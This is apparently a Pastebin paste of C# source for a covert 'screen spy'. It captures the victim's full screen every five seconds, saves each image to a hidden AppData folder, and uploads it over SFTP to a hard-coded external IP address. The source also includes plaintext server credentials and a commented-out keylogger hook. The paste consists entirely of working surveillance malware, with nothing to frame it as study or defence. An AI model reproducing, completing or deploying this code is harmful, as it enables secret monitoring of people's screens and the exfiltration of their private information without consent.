Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Drawing;
- using System.Runtime.InteropServices;
- using System.Threading;
- using System.Windows.Forms;
- using System.IO;
- using Renci.SshNet;
- namespace ConsoleApp1
- {
- class Program
- {
- [DllImport("user32.dll")]
- public static extern int GetAsyncKeyState(Int32 i);
- public static ConnectionInfo connectionInfo = new ConnectionInfo(""
- "",
- new PasswordAuthenticationMethod("", ""));
- public static SftpClient sshClient = new SftpClient(connectionInfo);
- static void Main(string[] args)
- {
- /*Location to store images*/
- if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\test"))
- {
- Console.WriteLine("Dir doesn't exist");
- Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\test");
- }
- else
- {
- Console.WriteLine("Dir exists");
- }
- /*Screen spy*/
- Thread screenshot = new Thread(snapLoop);
- screenshot.Start();
- /*Key logger*/
- // Thread listener = new Thread(KeyListener.Listen);
- // listener.Start();
- }
- static void snap()
- {
- Bitmap memoryImage;
- memoryImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
- Size s = new Size(memoryImage.Width, memoryImage.Height);
- Graphics memoryGraphics = Graphics.FromImage(memoryImage);
- memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
- string str = "";
- try
- {
- str = string.Format(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\test\" + unixTs() + ".png");
- }
- catch (Exception er)
- {
- Console.WriteLine("Sorry, there was an error: " + er.Message);
- Console.WriteLine();
- }
- memoryImage.Save(str);
- Console.WriteLine(str);
- string host = @"138.68.226.159";
- string username = "goodeats";
- string password = @"Naughty|stream8Shipped$handed4Planners-delivery7Fifth!board4Compared}";
- using (SftpClient sftp = new SftpClient(host, username, password))
- {
- try
- {
- sftp.Connect();
- sftp.UploadFile(System.IO.File.OpenRead(str), "/home/goodeats/public_html/img/" + unixTs() + ".png", true);
- sftp.UploadFile(System.IO.File.OpenRead(str), "/home/goodeats/public_html/img/latest.png", true);
- sftp.Disconnect();
- }
- catch (Exception e)
- {
- Console.WriteLine("An exception has been caught " + e.ToString());
- }
- }
- }
- static int unixTs()
- {
- return (Int32)(DateTime.UtcNow.Subtract(new DateTime(1970, 1, 1))).TotalSeconds;
- }
- static void snapLoop()
- {
- while (true)
- {
- Thread.Sleep(5000);
- snap();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement